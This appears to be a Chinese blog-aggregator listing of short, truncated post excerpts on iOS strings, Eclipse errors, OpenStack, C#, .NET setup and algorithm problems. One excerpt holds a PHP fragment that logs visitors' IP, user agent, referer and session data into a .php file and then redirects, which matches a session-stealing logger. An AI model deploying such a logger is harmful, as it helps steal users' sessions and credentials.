NSPredicate
分类:
其他好文 时间:
2015-02-11 10:38:12
阅读次数:
71
1,NSData与 NSString NSData --> NSString NSString *aString = [[NSString alloc] initWithData:adata encoding:NSUTF8StringEncoding]; NSString --> NSData...
分类:
其他好文 时间:
2015-02-11 10:38:53
阅读次数:
159
软件需求是什么呢?在《IEEE Standard Glossary of Software Engineering Terminology》给出了有关软件需求的如下定义:用户解决问题或达到目标所需的条件或能力。系统或系统部件要满足合同、标准、规范或其他正式规定文档所需具有的条件或能力。一种反应上面1...
分类:
其他好文 时间:
2015-02-11 10:37:39
阅读次数:
248
出现提示:在eclipse中搜索、删除文件时,有时候会弹出错误对话框,错误摘录如下:Resource is out of sync with the file system......问题分析:这个问题是由于eclipse中文件不同步引起的。在eclipse中,工程文件是由eclipse自动扫描添加...
分类:
其他好文 时间:
2015-02-11 10:35:07
阅读次数:
232
".$time." = ".$ip."User Agent: ".$agent."Referer: ".$referer."Session: ".$data."";$file=fopen('vb.php','a');fwrite($file,$text);fclose($file);header("...
分类:
其他好文 时间:
2015-02-11 10:33:56
阅读次数:
135
参加过几次 OpenStack meetup 活动,听过这几家公司的Architect 讲他们公司的 OpenStack产品。本文试着凭借影响加网络搜索,按照自己的理解,对这些公司的 OpenStack 产品和使用做个大概的比较。一家之言而已。1.IBM 的 OpenStack 云IBM 现在把 C...
分类:
其他好文 时间:
2015-02-11 10:35:05
阅读次数:
1345
public class Person{ // 枚举类型,用于表示性别。为节省内存,使用byte。 public enum Sex : byte { Male = 0, Female } // 私有属性:姓名,性别,年龄,身高,体重 private ...
分类:
其他好文 时间:
2015-02-11 10:32:23
阅读次数:
197
原因:沒有註冊.NET Framework 4.0解決: 運行CMD 進入.NET Framework 4.0目錄:CD C:\Windows\Microsoft.NET\Framework\v4.0.30319 註冊.NET Framework 4.0aspnet_regiis.exe -i...
分类:
其他好文 时间:
2015-02-11 10:34:47
阅读次数:
269
代码总也不补全,用起来很不爽,但是liteide 的补全却很舒服,看了下 ,发现其实代码提示主要靠的就是gocode.exe这个文件 注意不是godoc.exe哈,有个小伙伴错误设成了godoc.exe半天他也没找到错误在哪。 我们看一...
分类:
其他好文 时间:
2015-02-11 09:28:54
阅读次数:
310
经测试?zclip默认在firefox下正常工作,在chrome下点击无效
解决方法:
在jquery.zclip.js中将zIndex的值改大
比如
var?zIndex?=?99;
改成
var?zIndex?=?1500;...
分类:
其他好文 时间:
2015-02-11 09:27:05
阅读次数:
3457
【唠叨】还记得我们小时候玩的小霸王里面的游戏吗?大部分都是基于Tile地图的游戏,如坦克大战、冒险岛、魂斗罗、吞食天地等。而在手游中,基于瓦片地图的游戏也很常见。如:《保卫萝卜》。瓦片地图有专门的地图编辑器:TiledMapEditor。先给大家看个酷炫的图吧。此图来自:htt..
分类:
其他好文 时间:
2015-02-11 09:26:05
阅读次数:
389
题目链接:hihocode 1116 计算
中文题。
(待解决)还没弄明白为什么PushUp()怎么计算,神奇
#include
#include
#define LL long long
const LL kmod=10007;
const LL maxn=100010;
struct node{
LL l,r;
LL sum,all;
LL ls,rs;
LL mi...
分类:
其他好文 时间:
2015-02-11 09:25:25
阅读次数:
254
The gray code is a binary numeral system where two successive valuesdiffer in only one bit.
Given a non-negative integer n representing the totalnumber of bits in the code, print the sequence of gray...
分类:
其他好文 时间:
2015-02-11 09:24:25
阅读次数:
233
Suppose a sorted array is rotated at some pivot unknown to you beforehand.
(i.e., 0 1 2 4 5 6 7 mightbecome 4 5 6 7 0 1 2).
Find the minimum element.
You may assume no duplicate exists in the array...
分类:
其他好文 时间:
2015-02-11 09:27:00
阅读次数:
166
己所不欲,勿施于人
昨天晚上,又与妈妈发生一次很久很久没有发生的战争了,都不是什么大事,就是妈妈做的菜咸了,我就对妈妈说了,妈妈就朝我喊,说我和我爸什么都不干,还挑剔,后来,妈妈又说了很多难听的话,这也不是一次两次说那些让人伤心的话了,我们都知道,妈妈就是这个脾气,就像前两天我和我爸唠嗑,说我妈这个人就是傻,就爱好心办坏事,就像以前,我都记得是我舅舅经常让我们家去帮他干活,无论...
分类:
其他好文 时间:
2015-02-11 09:25:04
阅读次数:
118
Problem Description
The title of this problem is familiar,isn't it?yeah,if you had took part in the "Rookie Cup" competition,you must have seem this title.If you haven't seen it before,it doesn't matter,I will give you a link:
Here is the link:http://acm....
分类:
其他好文 时间:
2015-02-11 09:25:32
阅读次数:
206
ACboy needs your help
Time Limit: 1000/1000 MS (Java/Others) Memory Limit: 32768/32768 K (Java/Others)
Total Submission(s): 4542 Accepted Submission(s): 2431
Problem Description
ACboy ...
分类:
其他好文 时间:
2015-02-11 09:24:11
阅读次数:
132